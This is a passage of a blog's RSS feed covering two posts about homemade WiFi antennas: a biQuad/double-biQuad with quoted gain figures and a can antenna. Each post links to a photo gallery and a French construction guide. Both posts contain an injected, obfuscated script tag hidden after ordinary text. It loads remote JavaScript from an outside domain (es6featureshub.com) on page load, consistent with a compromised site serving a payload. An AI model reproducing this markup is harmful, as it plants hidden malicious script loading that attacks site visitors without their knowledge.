<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneQuads/dsc01296.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneQuads/dsc01296.sized.jpg" /></div>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneQuads/dsc01300.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneQuads/dsc01300.sized.jpg" /></div>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneQuads/double_biquad2.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneQuads/double_biquad2.sized.jpg" /></div>
<p>This is a biQuad, and a double-biQuad antenna. You can find the construction guide (in Fr) <a class="reference" href="http://www.brest-wireless.net/wiki/materiel:biquad">here</a>.</p>
<p>As usuall the photos is in the Brest-Wireless <a class="reference" href="http://www.brest-wireless.net/gallery/AntenneQuads/">gallery</a></p>
<p>The small one is about 11/12db .. and the biggest one: ~ 14db !!</p>
<p><strong>Update:</strong> Fix links<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/201.html/feed</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Wifi can-antenna ;)</title>
		<link>http://www.larsen-b.com/Article/199.html</link>
		<comments>http://www.larsen-b.com/Article/199.html#comments</comments>
		<pubDate>Tue, 05 Apr 2005 08:21:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Antennas]]></category>
		<category><![CDATA[antenna]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I decide to launch a new wireless antenna collection. Here is my new homemade one. You can discover all photos here, and the construction guide]]></description>
				<content:encoded><![CDATA[<p>I decide to launch a new wireless antenna collection. Here is my new homemade one.</p>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneRicore/nescafe1.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneRicore/nescafe1.sized.jpg" /></div>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneRicore/nescafe2.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneRicore/nescafe2.sized.jpg" /></div>
<p>You can discover all photos <a class="reference" href="http://www.brest-wireless.net/gallery/AntenneRicore">here</a>, and the construction <a class="reference" href="http://www.brest-wireless.net/wiki/materiel:ricore">guide</a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/199.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
